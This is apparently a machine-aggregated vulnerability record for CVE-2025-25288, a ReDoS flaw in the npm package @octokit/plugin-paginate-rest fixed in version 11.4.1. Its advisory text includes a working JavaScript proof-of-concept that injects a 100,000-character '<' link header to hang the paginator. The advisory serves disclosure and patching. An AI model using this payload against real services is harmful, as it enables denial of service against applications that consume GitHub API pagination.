{"id":"CVE-2025-25288","aliases":["CVE-2025-25288","GHSA-h5c3-5r3r-rr8q"],"related":[],"kind":"vulnerability","state":"published","title":"@octokit/plugin-paginate-rest has a Regular Expression in iterator that Leads to ReDoS Vulnerability Due to Catastrophic Backtracking","summary":"@octokit/plugin-paginate-rest is the Octokit plugin to paginate REST API endpoint responses. For versions starting in 1.0.0 and prior to 11.4.1 of the npm package `@octokit/plugin-paginate-rest`, when calling `octokit.paginate.iterator()`, a specially crafted `octokit` instance—particularly with a malicious `link` parameter in the `headers` section of the `request`—can trigger a ReDoS attack. Version 11.4.1 contains a fix for the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"@octokit/plugin-paginate-rest is the Octokit plugin to paginate REST API endpoint responses. For versions starting in 1.0.0 and prior to 11.4.1 of the npm package `@octokit/plugin-paginate-rest`, when calling `octokit.paginate.iterator()`, a specially crafted `octokit` instance—particularly with a malicious `link` parameter in the `headers` section of the `request`—can trigger a ReDoS attack. Version 11.4.1 contains a fix for the issue.","source":"cvelist"},{"lang":"en","text":"### Summary\nFor the npm package `@octokit/plugin-paginate-rest`, when calling `octokit.paginate.iterator()`, a specially crafted `octokit` instance—particularly with a malicious `link` parameter in the `headers` section of the `request`—can trigger a ReDoS attack.\n\n### Details\nThe issue occurs at [line 39](https://github.com/octokit/plugin-paginate-rest.js/blob/main/src/iterator.ts) of iterator.ts in the @octokit/plugin-paginate-rest repository. The relevant code is as follows:\n```js\nurl = ((normalizedResponse.headers.link || \"\").match(\n  /<([^>]+)>;\\s*rel=\"next\"/,\n) || [])[1];\n```\nThe regular expression `/<([^>]+)>;\\s*rel=\"next\"/` may lead to a potential backtracking vulnerability, resulting in a ReDoS (Regular Expression Denial of Service) attack. This could cause high CPU utilization and even service slowdowns or freezes when processing specially crafted `Link` headers.\n\n### PoC\n[The gist of PoC.js](https://gist.github.com/ShiyuBanzhou/d3f2ad000be8384d2105c87c2ed7ce7d)\n1. run npm i @octokit/plugin-paginate-rest\n2. run 'node poc.js'\nresult:\n3. then the program will stuck forever with high CPU usage\n```js\nimport { Octokit } from \"@octokit/core\";\nimport { paginateRest } from \"@octokit/plugin-paginate-rest\";\n\nconst MyOctokit = Octokit.plugin(paginateRest);\nconst octokit = new MyOctokit({\n  auth: \"your-github-token\",\n});\n\n// Intercept the request to inject a malicious 'link' header for ReDoS\noctokit.hook.wrap(\"request\", async (request, options) => {\n  const maliciousLinkHeader = \"\" + \"<\".repeat(100000) + \">\"; // attack string\n  return {\n    data: [],\n    headers: {\n      link: maliciousLinkHeader, // Inject malicious 'link' header\n    },\n  };\n});\n\n// Trigger the ReDoS attack by paginating through GitHub issues\n(async () => {\n  try {\n    for await (const normalizedResponse of octokit.paginate.iterator(\n      \"GET /repos/{owner}/{repo}/issues\", { owner: \"DayShift\", repo: \"ReDos\", per_page: 100 }\n    )) {\n      console.log({ normalizedResponse });\n    }\n  } catch (error) {\n    console.error(\"Error encountered:\", error);\n  }\n})();\n```\n![image](https://github.com/user-attachments/assets/619c030e-5473-4a26-9e2a-4b9a26c1563b)\n\n### Impact\n#### What kind of vulnerability is it?\nThis is a *Regular Expression Denial of Service (ReDoS) vulnerability*, which occurs due to excessive backtracking in the regex pattern:\n```js\n/<([^>]+)>;\\s*rel=\"next\"/\n```\nWhen processing a specially crafted `Link` header, this regex can cause significant performance degradation, leading to high CPU utilization and potential service unresponsiveness.\n#### Who is impacted?\n* Users of `@octokit/plugin-paginate-rest` who call `octokit.paginate.iterator()` and process untrusted or manipulated `Link` headers.\n* Applications relying on Octokit's pagination mechanism, particularly those handling large volumes of API requests.\n* GitHub API consumers who integrate this package into their projects for paginated data retrieval.","format":"markdown","source":"ghsa"},{"lang":"es","text":"@octokit/plugin-paginate-rest es el complemento de Octokit para paginar las respuestas de los endpoints de la API REST. En las versiones que comienzan con la 1.0.0 y anteriores a la 11.4.1 del paquete npm `@octokit/plugin-paginate-rest`, al llamar a `octokit.paginate.iterator()`, una instancia de `octokit` especialmente manipulada (en particular, con un parámetro `link` malicioso en la sección `headers` de `request`) puede desencadenar un ataque ReDoS. La versión 11.4.1 contiene una solución para el problema.","source":"nvd"}],"published":"2025-02-14T17:57:59.000Z","modified":"2026-09-10T03:50:22.670Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3,"rating":"MEDIUM"}],"cwes":["CWE-1333"],"affected":[{"ranges":[{"version":">= 1.0.0, < 11.4.1","status":"affected"}],"vendor":"octokit","product":"plugin-paginate-rest.js","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"9.3.0-beta.1","status":"affected","fixed":"11.4.1"}],"ecosystem":"npm","package":"@octokit/plugin-paginate-rest","purl":"pkg:npm/%40octokit/plugin-paginate-rest","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"1.0.0","status":"affected","fixed":"9.2.2"}],"ecosystem":"npm","package":"@octokit/plugin-paginate-rest","purl":"pkg:npm/%40octokit/plugin-paginate-rest","source":"ghsa"}],"references":[{"url":"https://github.com/octokit/plugin-paginate-rest.js/security/advisories/GHSA-h5c3-5r3r-rr8q","tags":["web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/octokit/plugin-paginate-rest.js/commit/bb6c4f945d8023902cf387391d2b2209261044ab","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/octokit/plugin-paginate-rest.js/blob/main/src/iterator.ts","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-25288","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/octokit/plugin-paginate-rest.js","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/octokit/plugin-paginate-rest.js/releases/tag/v9.2.2","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2025-02-14T20:18:16.720Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-25288","url":"https://www.cve.org/CVERecord?id=CVE-2025-25288","licence":"CVE Terms of Use","modified":"2025-02-14T20:18:26.404Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-h5c3-5r3r-rr8q","url":"https://github.com/advisories/GHSA-h5c3-5r3r-rr8q","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:22.670Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-25288","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-25288","licence":"Public domain","modified":"2026-06-17T09:00:37.310Z"}],"updatedAt":"2026-11-25T22:58:54.115Z","epss":{"score":0.00654,"percentile":0.5262,"date":"2026-12-01T12:00:22.000Z"}}